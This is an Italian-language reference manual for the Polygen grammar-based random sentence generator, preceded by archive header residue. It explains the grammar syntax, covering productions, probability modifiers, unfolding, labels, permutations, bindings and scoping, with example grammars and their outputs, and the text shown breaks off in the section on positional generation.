polygen-1.0.6.ds2/0000755000175000017500000000000010340431123013171 5ustar enricoenricopolygen-1.0.6.ds2/ita/0000755000175000017500000000000010340430663013756 5ustar enricoenricopolygen-1.0.6.ds2/ita/HOWTO-Refman.html0000644000175000017500000046604610340417034016767 0ustar enricoenrico HOWTO-grm

Polygen - Manuale di Riferimento

v1.0pre

Indice

1.0 Cos'è una grammatica?

     1.0.1 Sottoproduzioni
     1.0.2 Sottoproduzioni opzionali
     1.0.3 Commenti


2.0 Caratteristiche avanzate
     
     2.0.1 Concatenazione
     2.0.2 Epsilon     
     2.0.3
Controllo della probabilità di una produzione
     2.0.4 Unfolding
               
            2.0.4.1
Di simboli non terminali
            2.0.4.2 Di sottoproduzioni
            2.0.4.3 Di sottoproduzioni opzionali
            2.0.4.4 Di sottoproduzioni permutabili
            2.0.4.5 Di sottoproduzioni soggette ad unfolding in profondità
     
     2.0.5 Attributi
           
            2.0.5.1
Etichette e selezione
            2.0.5.2 Selezione multipla
            2.0.5.3 Reset dell'ambiente delle etichette

     2.0.6 Maiuscole
     2.0.7 Permutazioni
     2.0.8 Unfolding in profondità
     2.0.9 Folding
     2.0.10 Binding
 
            2.0.10.1 Chiusure
            2.0.10.2 Sospensioni

     2.0.11 Ambienti e Scoping

            2.0.11.1 Ambienti a top-level
            2.0.11.2 Ambienti locali
            2.0.11.3 Scoping statico lessicale

     2.0.12 Generazione posizionale
     2.0.13 IterazioneGenerazione posizionale


2.1 Tecniche avanzate

     2.1.1 Ricorsione
     2.1.2 Raggruppamento
     2.1.3 Controllo della probabiltà di una sottoproduzione opzionale


3.0 Controllo statico di una grammatica

     3.0.1 Errori

            3.0.1.1 Inesistenza di simboli non terminali
            3.0.1.2 Ricorsioni cicliche e non-terminazione
            3.0.1.3 Unfolding ricorsivi
            3.0.1.4 Epsilon-produzioni
            3.0.1.5 Ridefinizione di simboli non terminali
            3.0.1.6
Carattere illegale
            3.0.1.7 Token inaspettato

     3.0.2 Warning

               3.0.2.0Livello 0
           
               3.0.2.1 Livello 1

                     3.0.2.1.1 Inesistenza del simbolo I
                     3.0.2.1.2 Potenziali epsilon-produzioni
                     3.0.2.1.3 Selezione distruttiva

               3.0.2.2 Livello 2
           
                     3.0.2.2.1
Permutazione inutile
                     3.0.2.2.2 Unfolding inutile

              3.0.2.3 Livello 3

                     3.0.2.3.1 Unfolding di un simbolo legato ad un'assegnazione


4.0 Appendice

     4.1.1 Sintassi concreta
     4.1.2 Sintassi astratta
     4.1.3 Regole lessicali
     4.1.4 Sequenze escape
     4.1.5 Regole di traduzione
     




1.0 Cos'è una grammatica?

Una grammatica è un file di testo ASCII che contiene le definizioni della struttura sintattica e dei termini che il programma utilizza per comporre frasi. Il Polygen è in grado di interpretare un linguaggio per la definizione di grammatiche di tipo 2 (secondo la classificazione di Chomsky) che consiste in una variante più espressiva dell'EBNF (Extended Backus Naur Form) - una forma semplice e molto utilizzata di descrizione della sintassi di un linguaggio.

Una definizione consiste nello specificare per un dato simbolo una serie di produzioni separate dal pipe | e seguite dal punto e virgola ; che funge da terminatore:

ESEMPIO

S ::= la mela | il mango | l'arancia ;


PRODUCE

la mela
il mango
l'arancia



Questa definizione del simbolo S (detto non terminale) permette la generazione dei simboli la mela, il mango oppure l'arancia (detti terminali).
La probabilità con cui viene generata la mela è pari ad 1 volta su 3, così come per il mango e l'arancia: perciò in presenza di 3 produzioni si ha 1 probabilità su 3 per ciascuna di esse; in presenza di 5 produzioni si ha una probabilità su 5, ecc.

E' possibile fornire numerose definizioni di simboli non terminali diversi e richiamare tali simboli nelle varie produzioni, al fine di rendere articolata la generazione di frasi:

ESEMPIO

S ::= il Animale mangia Frutto ;

Animale ::= gatto | cane ;

Frutto ::= la mela | il mango ;



PRODUCE

il gatto mangia la mela
il cane mangia il mango


ecc.


N.B.: il Polygen adotta convenzionalmente il simbolo non terminale S come iniziale, pertanto qualunque grammatica deve presentare almeno la definizione di esso.

Per convenzione, un termine che comincia per lettera maiuscola è considerato un simbolo non terminale (associato quindi ad una definizione a valle o a monte dell'utilizzo), mentre un termine che comincia per lettera minuscola è cosiderato un simbolo terminale, ovvero una semplice parola. Pertanto, se si desidera generare una parola che inizia con lettera maiuscola, è necessario specificarla tra virgolette affinché non venga confusa con un simbolo non terminale:

ESEMPIO

S ::= Fido "Fido" ;

Fido ::= bassotto | pastore | alano ;



PRODUCE

bassotto Fido
pastore Fido
alano Fido



Si noti che i caratteri che il programma utilizza come parole chiave (ad esempio le parentesi tonde e quadrate) devono essere specificati tra virgolette se si desidera che vengano generati in output (si veda la sezione 4.1.3 per le regole lessicali complete).

ESEMPIO

S ::= "(" (mela | pera) ")" ;


PRODUCE

( mela )
( pera )




1.0.1 Sottoproduzioni

In una definizione, nella parte a destra del ::=, è possibile specificare una sottoproduzione di qualunque forma tra parentesi tonde:

ESEMPIO

S ::= la (pera | mela | banana) e' sul (tavolo | davanzale) ;


PRODUCE

la pera e' sul tavolo
la pera e' sul davanzale
la mela e' sul tavolo
la mela e' sul davanzale
la banana e' sul tavolo
la banana e' sul davanzale



1.0.2 Sottoproduzioni opzionali

Una sottoproduzione specificata tra parentesi quadrate anziché tonde è considerata opzionale ed ha una probabilità del 50% (pari ad 1 volta su 2) di essere generata:

ESEMPIO

S ::= la (pera | mela) e' sul (tavolo | davanzale) [del salotto | della cucina] ;


PRODUCE

la pera e' sul tavolo
la pera e' sul tavolo del salotto
la pera e' sul tavolo della cucina
la pera e' sul davanzale

ecc.



1.0.3 Commenti

E' possibile scrivere testo qualunque tra la coppia di parole chiave (* e *). Tale testo verrà completamente ignorato dal Polygen.

ESEMPIO

S ::= la mela | la pera (* | la banana *) | il mango ;
(* anche questo e' un commento *)


PRODUCE

la mela
la pera
il mango





2.0 Caratteristiche avanzate

Il Polygen supporta una serie di costrutti che aumentano l'espressività del linguaggio di definizione delle grammatiche ben oltre EBNF.


2.0.1 Concatenazione

L'apice ^ può essere prefisso, suffisso o infisso in qualunque punto di una produzione per istruire il programma a non inserire un carattere di spazio nell'output generato:

ESEMPIO

S ::= "(" ^ (mela | pera) ^ ")" ;


PRODUCE

(mela)
(pera)


La concatenazione dell'output è particolarmente comoda nei casi i cui si desidera generare parole assemblando sillabe o lettere da produzioni differenti:

ESEMPIO

S ::= la bottega del Prodotto ;

Prodotto ::= ^lo sciroppo | ^le arance | salame ;


PRODUCE

la bottega dello sciroppo
la bottega delle arancie
la bottega del salame


Si badi che la specifica di più apici è del tutto equivalente alla specifica di un apice solo.


2.0.2 Epsilon

Il carattere di underscore _ è la parola chiave che specifica la produzione vuota, formalmente chiamata epsilon.

ESEMPIO

S ::= palla | _ ;


PRODUCE

palla
_


Si badi che una epsilon-produzione non consiste nel carattere _ in sè, né in un carattere di spazio, ma nell'assenza di output.
L'esempio di cui sopra è esattamente identico al seguente:

ESEMPIO

S ::= [palla] ;


PRODUCE

palla
_


Ovvero una grammatica che può generare l'output a oppure nulla.



2.0.2 Controllo della probabilità di una produzione

Il simbolo più + prefisso ad una qualunque produzione aumenta la probabilità che questa venga generata rispetto alle altre della stessa serie; simmetricamente, il simbolo meno - diminuisce la probabilità. Un numero a piacere di + e - può essere specificato:

ESEMPIO

S ::= il gatto mangia (+ la mela |- la pera | l'arancia |-- il limone) ;


PRODUCE

il gatto mangia la mela
il gatto mangia la pera
il gatto mangia l'arancia
il gatto mangia il limone


La definizione del simbolo non terminale S viene internamente interpretata come:

S ::= il gatto mangia ( la mela | la mela | la mela | la mela
                      | la pera | la pera
                      | l'arancia | l'arancia | l'arancia
                      | il limone) ;


pertanto la probabilità che la produzione la mela venga generata è maggiore rispetto a quella de l'arancia, che è maggiore di quella de la pera, a sua volta maggiore de il limone.




2.0.4 Unfolding

Il Polygen dispone di un potente sottosistema di unfolding che, in generale, permette di portare al livello della sequenza corrente una serie di produzioni altrimenti raccolte in una sottoproduzione o da un simbolo non terminale.
Si può intuitivamente vedere questa operazione come un appiattimento di una grammatica operato a monte della generazione e che pertanto può influire su quest'ultima dal punto di vista probabilistico soltanto, poiché la trasformazione non altera la semantica della grammatica sorgente - come dimostrano le regole di traduzione riportate in sezione 4.1.5.

Non tutti i possibili atomi tuttavia possono essere sottoposti ad un unfolding, ma solamente quelli per cui tale operazione ha senso: si consulti la sezione 4.1.1 per conoscere tale sottoinsieme.

2.0.4.1 Di simboli non terminali

Si consideri il seguente scenario:

ESEMPIO

S ::= gatto soriano | cane Razza ;

Razza ::= pastore | dalmata 
| bastardo ;


PRODUCE

gatto soriano
cane pastore
cane dalmata
cane bastardo


La probabilità che gatto soriano sia generato è pari a 1 su 2; non vale però lo stesso per cane pastore, cane dalmata e cane bastardo, sebbene un utente possa ritenere ragionevole che siano tutti generabili con la medesima probabilità.
Il problema nasce dal fatto che gatto soriano e cane Razza si spartiscono equamente la produzione di S, ovvero la probabilità con cui viene generato gatto soriano è la stessa (pari ad 1 su 2) con cui viene generato uno tra cane pastore, cane dalmata e cane bastardo. Nella fattispecie la distribuzione delle probabilità per ogni produzione possibile appare come segue:

gatto soriano 1/2
cane pastore 1/2 * 1/3 = 1/6
cane dalmata
1/2 * 1/3 = 1/6
cane bastardo 1/2 * 1/3 = 1/6


Come prova, 1/2 + 1/6 + 1/6 + 1/6 = 1.

Al fine di ridistribuire equamente le probabilità delle sottoproduzioni sarebbe necessario riscrivere S nel modo seguente:

S ::= gatto soriano | cane pastore | cane dalmata | cane bastardo ;

perdendo tuttavia l'architettura originale che raccoglieva le razze in un apposito simbolo non terminale ed aumentando di molto la quantità di lavoro da compiere da parte dell'utente.
Per risolvere questo problema, che rappresenta un'istanza del più vasto problema dell'irregolarità della distribuzione delle probabilità in presenza, in generale, di sottoproduzioni, il linguaggio di operare l'unfolding di un simbolo non terminale:

ESEMPIO

S ::= gatto soriano | cane >Razza  ;

Razza ::= pastore | dalmata 
| bastardo ;


Prefiggendo la parola chiave >, il programma opera, nella fase di preprocessing a monte della generazione, la trasformazione di cui sopra, cambiando la distribuzione delle probabilità nel seguente modo:


gatto soriano 1/4
cane pastore 1/4
cane dalmata
1/4
cane bastardo 1/4



2.0.4.2 Di sottoproduzioni

Non è raro utilizzare una sottoproduzione per diminuire la verbosità di una grammatica, ad esempio raccogliendo una serie di sostantivi in base all'articolo che supportano, evitando così di doverne specificare uno per ciascuno.

ESEMPIO

S ::= il (gatto | cane | canarino | toro | lupo | gallo)
   
|  lo storione
   
|  la (capra | pecora) ;


Se da una parte l'architettura e la scalabilità della grammatica ne giovano, dall'altra la qualità dell'output ne risente molto, in quanto 1 volta su 3 verrà generato lo storione per un motivo analogo a quello esposto in sezione 2.0.4.1. Per portare l'eterogeneità dell'output al (ragionevolmente desiderabile) livello in cui ciascun animale possa essere prodotto con la medesima probabilità, sarebbe necessario evitare l'utilizzo delle parentesi tonde, le quali danno luogo a sole 3 macro-produzioni, e specificare l'articolo accanto ad ogni nome di animale; in altre parole, quindi, rinunciare all'architettura originale della grammatica.
A tale proposito una qualunque sottoproduzione può essere sottoposta ad unfolding in maniera analoga a quanto esposto in sezione 2.0.4.1 per i simboli non terminali. L'uso dell'operatore > istruisce il programma a delegare al preprocessore l'onere di operare l'unfolding della sottoproduzione immediatamente seguente, permettendo all'utente di mantenere inalterata l'architettura della grammatica sorgente.

ESEMPIO

S ::= il >(gatto | cane | canarino | toro | lupo | gallo)
   
|  lo storione
   
|  la >(capra | pecora) ;


viene tradotto esattamente come desiderato:

S ::= il gatto | il cane | il canarino | il toro | il lupo | il gallo
   
|  lo storione
   
|  la capra | la pecora ;


ovvero una serie di produzioni alla stesso livello.

Un esempio più articolato:

ESEMPIO

S ::= M: >( il (gatto | cane >(pastore | dalmata) | canarino | toro | lupo | gallo)
     
     | lo storione
         
)
   |  F: la >(capra | pecora) ;


viene tradotto in:

S ::= M: il gatto | M: il cane pastore | M: il cane dalmata | M: il canarino | M: il toro | M: il lupo | M: il gallo
   
|  M: lo storione
   |  F: la capra | F: pecora ;



2.0.4.3 Di sottoproduzioni opzionali

Una sottoproduzione tra parentesi quadrate (vedi sezione 1.0.2) è equivalente ad una sottoproduzione tra parentesi tonde che produce il contenuto originale oppure epsilon (si veda l'esempio di cui in sezione 2.1.3).
Alla luce di ciò, operare l'unfolding di una sottoproduzione opzionale è perfettamente lecito, dunque, ed il risultato è analogo a quanto descritto in sezione 2.0.4.2.


2.0.4.4 Di sottoproduzioni permutabili

Come è possibile constatare dalle regole di traduzione in sezione 4.1.5, l'unfolding operato dal preprocessore avviene a valle delle permutazioni (vedi sezione 2.0.7): una sottoproduzione permutabile legata all'operatore > è pertanto soggetta prima alla permutazione, la quale mantiene valida l'azione dell'unfolding specificata, che viene eseguita successivamente nella nuova posizione all'interno della sequenza.

ESEMPIO

S ::= >{il >(cane| gatto)}{la (pecora | capra)} ;


Si presti attenzione al differente comportamento dell'unfolding esterno alle parentesi graffe rispetto a quello interno: la traduzione dà luogo a:

S ::= il cane e la (pecora | capra)
   |  il gatto e la (pecora | capra)
   |  la (pecora | capra) e il cane
   
|  la (pecora | capra) e il gatto ;


2.0.4.5 Di sottoproduzioni soggette ad unfolding in profondità

Come descritto in sezione 2.0.8, l'unfolding in profondità dà luogo ad una sottoproduzione al cui interno tutto è stato appiattito.
Tuttavia talvolta è desiderabile operare un ulteriore unfolding: quello di tale sottoproduzione.

ESEMPIO

S ::=  > >> il (cane | gatto) | la (pecora | capra) << | lo storione ;


che viene tradotto in:

S ::= il cane | il gatto | la pecora | la capra | lo storione ;




2.0.5 Attributi

2.0.5.1 Etichette e selezione

Ciascuna produzione o sottoproduzione (innestata a piacere) può essere associata ad una etichetta e, grazie all'operazione di selezione tramite l'operatore punto, è possibile vincolare la generazione al sottoinsieme di una serie di produzioni che la presentano.

ESEMPIO

S ::= Nome.S mangia Nome.P | (Nome mangiano Nome).P ;

Nome ::= (S: il | P: i) (lup | gatt) ^ (S: o | P: i) ;


PRODUCE

il lupo mangia i lupi
il lupo mangia i gatti
il gatto mangia i lupi
il gatto mangia i gatti
i lupi mangiano i lupi
i lupi mangiano i gatti
i gatti mangiano i lupi
i gatti mangiano i gatti


La selezione avviene semplicemente eliminando da una serie di produzioni o sottoproduzioni tutte quelle aventi etichetta differente da quella selezionata. Più precisamente, una selezione propaga l'etichetta specificata (a destra del punto) per tutta la generazione di ciò che si trova a sinistra del punto; nel corso della generazione verranno considerate valide solamente quelle produzioni che non sono associate ad alcuna etichetta oppure che sono associate ad un'etichetta che è stata selezionata.
Si noti quindi che è possibile operare selezioni in momenti diversi e arricchire la lista delle etichette selezionate: tale tecnica può tornare utile per propagare determinati attributi che si vuole influenzino la generazione.

ESEMPIO

S ::= (Ogg.M | Ogg.F).S | (Ogg.M | Ogg.F).P ;

Ogg ::= M: ((Art Sost).il | (Art Sost).lo)
     |  F: Art Sost ;

Art ::= M: (il: (S: il | P: i) | lo: (S: lo | P: gli))
     |  F: (S: la | P: le) ;

Sost ::= M: ( il: (lup ^ Decl.2 | can ^ Decl.3))
            | lo: (gnom ^ Decl.2 | zabaion ^ Decl.3))
      |  F: pecor ^ Decl.1 ;

Decl ::= 1: (S: a | P: e) | 2: (S: o | P: i) | 3: (S: e | P: i) ;



PRODUCE

il lupo
il cane
lo gnomo
lo zabaione
la pecora
i lupi
i cani
gli gnomi
gli zabaioni
le pecore


Nell'esempio, assumendo la convenzione secondo cui le etichette S, P,M ed F si riferiscono rispettivamente alle forme singolare, plurale, maschile e femminile, è stato possibile declinare correttamente sostantivi appartenenti a classi differenti ed associare l'articolo appropriato.
Si faccia caso che, volendo in un futuro estendere la serie dei sostantivi, sarà possibile aggiungerne a piacere curandosi solamente di inserirli nella sottoproduzione di Sost opportuna.

2.0.5.2 Selezione multipla

Si prenda l'esempio in sezione 2.0.5.1: la definizione di S si occupa sostanzialmente di attivare le combinazioni delle etichette S,P e M,F per Ogg. Per evitare la frequente scomodità di dover compiere simili operazioni è possibile specificare a destra del punto tra parentesi tonde una serie di etichette separate dal pipe, anziché una singola etichetta.
Riprendendo l'esempio di cui sopra:

ESEMPIO

S ::= Ogg.(M|F).(S|P) ;


Analogamente a quanto descritto in sezione 2.0.3 per le produzioni, è inoltre possibile specificare dei modificatori di probabilità per le etichette che compaiono in una serie tramite l'utilizzo delle parole chiave + e -.

ESEMPIO

S ::= Ogg.(+M|--F).(S|-P) ;


Che è equivalente a:

S ::= (Ogg.M | Ogg.M | Ogg.M | Ogg.M | Ogg.F).S
   |  (Ogg.M | Ogg.M | Ogg.M | Ogg.M | Ogg.F).S
   |  (Ogg.M | Ogg.M | Ogg.M | Ogg.M | Ogg.F).P ;


2.0.5.3 Reset dell'ambiente delle etichette

Va tenuto a mente che l'operatore di selezione aggiunge l'etichetta specificata alla serie di quelle già attive; ciò comporta la necessità di azzerare manualmente tale serie di quando in quando. Si vogliano ad esempio generare numeri interi positivi (zero incluso) di qualunque lunghezza in cui non compaiano zeri non significativi:

ESEMPIO

S ::= Cifra | S.nz [^S.] ;

Cifra ::= z: 0 | nz: >(
1| 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9) ;


PRODUCE

0
1
23
23081993
112358
20020723

ecc.

L'operatore punto non seguito da alcuna etichetta provoca l'azzeramento della serie di selezioni attive in un dato momento della generazione; in altre parole, permette di non propagare oltre le etichette selezionate fino a quel punto della generazione.



2.0.6 Maiuscole

E' spesso desiderabile, per motivi essenzialmente di forma, rispettare le regole ortografiche di scrittura delle lettere maiuscole, ad esempio, dopo il punto.
D'altro canto però l'architettura stessa di una grammattica assai complessa, provvista di produzioni ricorsive che generano subordinate, potrebbe rendere impossibile tale operazione, a meno di riscrivere parte del sorgente.
A tale proposito il linguaggio mette a disposizione la parola chiave backslash \ che istruisce il programma a trasformare in maiuscola (nel caso in cui già non lo sia) la prima lettera del simbolo terminale immediatamente successivo.

ESEMPIO

S ::= \ pippo (e' | "." \) Eulogia ^ "." ;

Eulogia
::= proprio un bell'uomo
         
|  davvero un signore ;

PRODUCE

Pippo e' proprio un bell'uomo.
Pippo. Proprio un bell'uomo.

Pippo e' davvero un signore.
Pippo. Davvero un signore.



Si badi che l'azione dell'operatore \ persiste fino al successivo simbolo terminale risultato della produzione, pertanto ogni altro atomo (epsilon, concatenazione o l'operatore \ stesso) che si interpone agirà come di consueto:

ESEMPIO

S ::= a \ ^ \ _ b

PRODUCE


aB


2.0.7 Permutazioni

In molte lingue è possibile cambiare l'ordine delle parole (o di gruppi di parole) in una frase senza che il significato cambi; a livello macroscopico, analogamente, è talvolta possibile cambiare l'ordine delle frasi in un discorso.
Per evitare che l'utente debba scrivere più volte la stessa sequenza con alcuni atomi cambiati di posizione, è possibile specificare tra parentesi graffe { e } sottoproduzioni che vengono automaticamente sottoposte ad una permutazione.

ESEMPIO

S ::= se {e'} {quindi} {egli} ;

PRODUCE


se e' quindi egli
se e' egli quindi
se egli e' quindi
se egli quindi e'
se quindi egli e'
se quindi e' egli


Si badi che la permutabilità di una sottoproduzione si riferisce alla sola sequenza di cui fa parte: specificare sottoproduzioni permutabili in sottosequenze (o altre sottoproduzioni - permutabili o meno) differenti non consente la permutazione. Si noti la differenza tra i due esempi a venire:

ESEMPIO

S ::= {tra 10 minuti}^, {alle 3 in punto}^, {{io} {partiro'} solo} ;

PRODUCE


tra 10 minuti, alle 3 in punto, io partiro' solo
alle 3 in punto, tra 10 minuti, io partiro' solo
tra 10 minuti, io partiro' solo, alle 3 in punto
alle 3 in punto, io partiro' solo, tra 10 minuti
io partiro' solo, tra 10 minuti, alle 3 in punto
io partiro' solo, alle 3 in punto, tra 10 minuti
tra 10 minuti, alle 3 in punto, partiro' io solo
alle 3 in punto, tra 10 minuti, partiro' io solo
tra 10 minuti, partiro' io solo, alle 3 in punto
alle 3 in punto, partiro' io solo, tra 10 minuti
partiro' io solo, tra 10 minuti, alle 3 in punto
partiro' io solo, alle 3 in punto, tra 10 minuti


ESEMPIO

S ::= {tra 10 minuti}^, {alle 3 in punto}^, ({io} {partiro'} solo) ;

PRODUCE


tra 10 minuti, alle 3 in punto, io partiro' solo
alle 3 in punto, tra 10 minuti, io partiro' solo
tra 10 minuti, alle 3 in punto, partiro' io solo
alle 3 in punto, tra 10 minuti, partiro' io solo


2.0.8 Unfolding in profondità

E' possibile operare l'unfolding in profondità di una sottoproduzione specificata tra doppie parentesi acute rivolte verso l'interno >> e <<: ciascun atomo, a qualunque livello, per cui ha senso l'unfolding (vedi sezione 2.0.4) è soggetto ad un unfolding appunto. Il risultato è l'appiattimento totale di qualunque sottoproduzione e simbolo non terminale specificati all'interno delle doppie parentesi acute:

ESEMPIO

S ::= senti >> M: ( il (cane| gatto (soriano | persiano) | colibri')
                  | lo (storione | sciacallo)
                  )
             | F: la (pecora | raganella | Animale)
            << ;


Animale 
::= capra | mucca da (latte | carne) ;



Il simbolo non terminale S viene tradotto in:

S ::= senti ( M: il cane
            
| M: il gatto soriano
            
| M: il gatto persiano
            
| M: il colibri'
            
| M: lo storione
            
| M: lo sciacallo
            
| F: la pecora
            
| F: la raganella
            
| F: la capra
            
| F: la mucca da (latte | carne)
            ) ;


L'unfolding in profondità viene tradotto quindi in una sottoproduzione al cui interno tutto viene appiattito ricorsivamente, ad esclusione delle produzioni associate ai simboli non terminali. Ciò è dovuto al fatto che l'operazione consiste di fatto nell'unfolding semplice di ogni atomo per cui tale operazione abbia senso: mentre quindi anche i simboli non terminali sono soggetti a tale trattamento, le produzioni ad essi associate invece non vengono toccate. Tale politica, sebbene possa apparire di primo acchito ingiustificata, permette invero all'utente di specificare un qualunque simbolo non terminale all'interno di una sottoproduzione tra doppie parentesi acute senza dare luogo inavvertitamente ad una serie enorme di unfolding o, ancor peggio, ad unfolding ciclici (vedi sezione 3.0.1.3).


2.0.9 Folding

L'unfolding in profondità descritto in sezione 2.0.8 può talvolta non essere completamente desiderabile: se nella maggior parte dei casi esso è utilizzato per evitare di specificare esplicitamente l'operatore > per ogni sottoproduzione o simbolo non terminale di una sottoproduzione, non sempre è possibile tuttavia operare ricorsivamente l'unfolding di ogni singolo atomo senza dare luogo ad errori. Il linguaggio supportato dal Polygen permette a tale proposito di bloccare l'unfolding (di un atomo per cui tale operazione avrebbe senso) tramite l'operatore prefisso <.

ESEMPIO

S ::= senti >> M: ( il (cane | gatto <(soriano | persiano) | colibri')
                  | lo (storione | sciacallo)
                  )
             | F: la (pecora | raganella)
            << ;


in cui il simbolo non terminale S viene tradotto in:

S ::= senti ( M: il cane
            
| M: il gatto (soriano | persiano)
            
| M: il colibri'
            
| M: lo storione
            
| M: lo sciacallo
            
| F: la pecora
            
| F: la raganella
            ) ;

Si badi che, come dalle regole in sezione 4.1.1, sono errori sintattici il folding di un unfolding e viceversa.




2.0.10 Binding

Un binding in generale è un costrutto dichiarativo che associa una serie di produzioni ad un simbolo non terminale. Ogni binding introduce nell'ambiente (si evda la sezione 2.0.11) tale associazione ed ogni produzione generata in tale ambiente può fare riferimento a tali simboli non terminali.

2.0.10.1 Chiusure

La parola chiave ::= introduce un binding, già ampiamente discusso in questo manuale, cosiddetto debole o chiusura.

ESEMPIO

S ::= Frutto e Frutto ;

Frutto ::= la mela | il mango | l'arancia ;

PRODUCE

la mela e la mela
la mela e il mango
la mela e l'arancia
il mango e la mela
il mango e il mango
il mango e l'arancia
l'arancia e la mela
l'arancia e il mango
l'arancia e l'arancia


La produzione associata a Frutto non subisce una generazione immediata ma viene chiusa insieme all'ambiente corrente secondo le regole di scoping. Ogni occorrenza del simbolo Frutto in un ambiente discendente (od il medesimo, come nell'esempio) provoca la generazione della produzione associata nell'ambiente chiuso assieme ad essa.

2.0.10.2 Sospensioni

La parola chiave := introduce una seconda forma di binding detta forte o sospensione o assegnazione.

ESEMPIO

S ::= Frutto e Frutto ;

Frutto := la mela | il mango | l'arancia ;

PRODUCE

la mela e la mela
il mango e il mango
l'arancio e l'arancio


La produzione associata a Frutto viene sospesa e chiusa insieme all'ambiente corrente secondo le regole di scoping. Durante la generazione, alla prima occorrenza del simbolo Frutto in un ambiente discendente (od il medesimo, come nell'esempio) la produzione associata viene generata una sola volta nell'ambiente chiuso assieme ad essa ed il risultato, immodificabile, della generazione risposto nell'ambiente; ogni successiva occorrenza dello stesso non terminale produrrà sempre lo stesso risultato.
Si badi che la prima generazione avviene in un ambiente in cui il simbolo non terminale in questione è associato alla chiusura, non ancora ad una sospensione: in tal modo è possibile fare uso di ricorsione anche definendo binding forti.

ESEMPIO

S ::= A A ;

A :=
a | a
^ A ;

PRODUCE

a a
aa aa
aaa aaa
aaaa aaaa
ecc.



2.0.11 Ambienti e Scoping

L'ambiente è il contesto, l'insieme dei binding (vedi sezione 2.0.10), ovvero delle associazioni da simbolo non terminale a serie produzioni.  Tale ambiente può essere arricchito dai binding a top-level oppure da quelli introdotti dai costrutti di scoping.

2.0.11.1 Ambiente a top-level

In gran parte di questo manuale si è parlato di binding (di qualsivoglia forma) introdotti a top-level del file sorgente, separati dalla parola chiave ;. Com'è già stato accennato e come è ragionevole aspettarsi, tali binding vengono introdotti nell'ambiente (vuoto) secondo un rapporto di mutua ricorsione: ciascuna produzione legata ad un non termianale può infatti fare riferimento a qualunque simbolo non terminale definito a top-level, a monte o a valle, incluso quello a cui essa stessa è legata.

ESEMPIO

S ::= S | A | B | s ;

A ::=
S | A | B | a ;

B := S | A | B | b ;


E' facile immaginare quale sia la potenza offerta da questa politica.


2.0.11.2 Ambienti locali

E' possibile introdurre nuovi binding aventi visibiltà locale all'apertura di una sottoproduzione di qualunque forma: il corpo della sottoproduzione (che consiste in un serie di produzioni) può essere preceduto da una serie di binding separati dalla parola chiave ;, la cui ultima occorrenza separa l'ultimo binding dal corpo.

ESEMPIO

S ::= sono (X := Agg; Molto ::= molto [Molto]; X ^ "," anzi Molto X | decisamente Molto Agg) e Agg ;

Agg ::= bello | simpatico ;


PRODUCE

sono bello, anzi molto bello e simpatico
sono bello, anzi molto bello e bello
sono bello, anzi molto ... bello e simpatico
sono bello, anzi molto ... bello e bello
sono simpatico, anzi molto simpatico e bello
sono simpatico, anzi molto simpatico e simpatico
sono simpatico, anzi molto ... simpatico e bello
sono simpatico, anzi molto ... simpatico e simpatico
sono decisamente molto bello e simpatico
sono decisamente molto bello e bello
sono decisamente molto .. bello e simpatico
sono decisamente molto .. bello e bello


Dall'esempio risulta chiara la visibilità, ovvero lo scope, dei vari simboli non terminali: X e Molto sono locali alla sottoproduzione che li definisce, mentre Agg è utlizzato sia dal corpo di tale sottoproduzione che dal corpo di S.
Si faccia caso all'utilizzo del costrutto di scoping in conguinzione con il binding forte (vedi sezione 2.0.10.2): X è un simbolo introdotto localmente il cui unisco scopo è in qualche modo fissare la generazione di Agg, che nell'ambiente a top-level è definita tramite un binding debole (vedi sezione 2.0.10.1): in generale l'utilizzo degli scope assieme alle varie forme di binding aggiunge molta potenza al linguaggio ed aumenta le possibilità di ingegnerizzazione di una grammatica.

Si noti, ancora, che nell'esempio di cui sopra non c'è utilizzo del rapporto di mutua ricorsione dei binding locali, pertanto il medesimo risultato sarebbe stato ottenibile innestando 2 scope:

ESEMPIO

S ::= sono (X := Agg; (Molto ::= molto [Molto]; X ^ "," anzi Molto X | decisamente Molto Agg)) e Agg ;

Agg ::= bello | simpatico ;


Nulla vieta che il corpo di una sottoproduzione possa essere a sua volta una sottoproduzione, ovviamente: ciò dà luogo all'arricchimento dell'ambiente senza porre in rapporto di mutua ricorsione i binding.

Si ricordi infine che qualunque tipo di sottoproduzione può introdurre binding locali.


2.0.11.3 Scoping statico lessicale

Le regole di scoping sono al contempo rigide e intuitive: ogni produzione viene generata nell'ambiente in cui è stata definita. Sebbene quindi gli ambieni siano arricchibili tramite binding locali innestati, non è possibile generare una produzione definita altrove utilizzando simboli nell'ambiente corrente anche nel caso in cui tali simboli abbiamo lo stesso nome.

ESEMPIO

S ::= (X ::= a | b; A) ;

A ::= X X ;

X := x | y ;


PRODUCE


x x
y y


Per definizione di scoping statico, il binding locale di X nella sottoproduzione di S non ha alcun effetto sulla generazione di A, che è stata chiusa assieme all'ambiente in cui è stata definita (vedi sezione 2.0.10.1),  ovvero quello a top-level, in cui la X è legata alla produzione x | y.

Ancora, le regole di scoping lessicale consentono l'overriding (o shadowing) dei binding:

ESEMPIO

S ::= (X ::= a | b; (X ::= x | y; X)) ;

PRODUCE

x
y


All'interno della secondo sottoproduzione innestata  non c'è visibilità della definizione esterna di X. Le medesime regole di applicano ovviamente anche all'ambiente top-level.

Si badi infine che i binding sono ricorsivi, pertanto non è possibile fare riferimento alla definizione di un simbolo nell'ambiente in una ridefinizione in override del medesimo simbolo.

ESEMPIO

S ::= (X ::= a | b; (X ::= x [X]; X)) ;

PRODUCE

x
x x
x x x ...

L'occorrenza di X nel secondo binding innestato viene dunque vista come un ricorsione, non come un riferimento alla X dell'ambiente padre.
Analogamente in presenza di una serie di binding in rapporto di mutua ricorsione:

ESEMPIO

S ::= (X ::= [A]; A ::= a [X]; (X ::= y [A]; A ::= b [X]; X)) ;

PRODUCE

y b
y b y b
y b y b y b ...


2.0.12 Generazione posizionale

Sebbene il sistema di etichette sia piuttosto potente e versatile, nella maggior parte delle circostanza esso torna utile quale semplice filtro su una serie di produzioni che specificano casi sintattici disgiunti di una data lingua; esempi frequenti possono essere desinenze per articoli, sostantivi e aggettivi in base al genere ed al numero, oppure coniugazioni di verbi in base alla persona, al tempo ed al modo.
Ciò che ragionevolmente si vuole dal sistema è poter attivare un'etichetta, ad esempio, per il genere e che la generazione abbia poi luogo coerentemente. Talvolta si desidera tale effeto solamente per una frase:

ESEMPIO

S ::= (sei (M: un | F: una) (M: bel | F: bella) ragazz ^ (M: o | F: a)).(M|F) ;

PRODUCE

sei un bel ragazzo
sei una bella ragazza


